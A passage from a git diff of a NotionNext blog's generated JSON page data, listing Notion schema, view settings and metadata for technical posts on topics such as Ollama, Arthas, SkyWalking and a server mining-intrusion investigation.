ter":{"id":"6fda715e-6852-44f9-b738-86f0d6bae992","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"6fda715e-6852-44f9-b738-86f0d6bae992"}},"1c513562-34eb-47dc-8f40-84dcc70cda9f":{"value":{"id":"1c513562-34eb-47dc-8f40-84dcc70cda9f","type":"text","format":{"copied_from_pointer":{"id":"3877c97b-b87b-454d-9088-ddd1d4604129","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"3877c97b-b87b-454d-9088-ddd1d4604129"}},"9f57a9c3-c1c0-4855-be67-6f499b8416fd":{"value":{"id":"9f57a9c3-c1c0-4855-be67-6f499b8416fd","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-6.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-6.json
new file mode 100644
index 000000000..abc8042e0
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-6.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 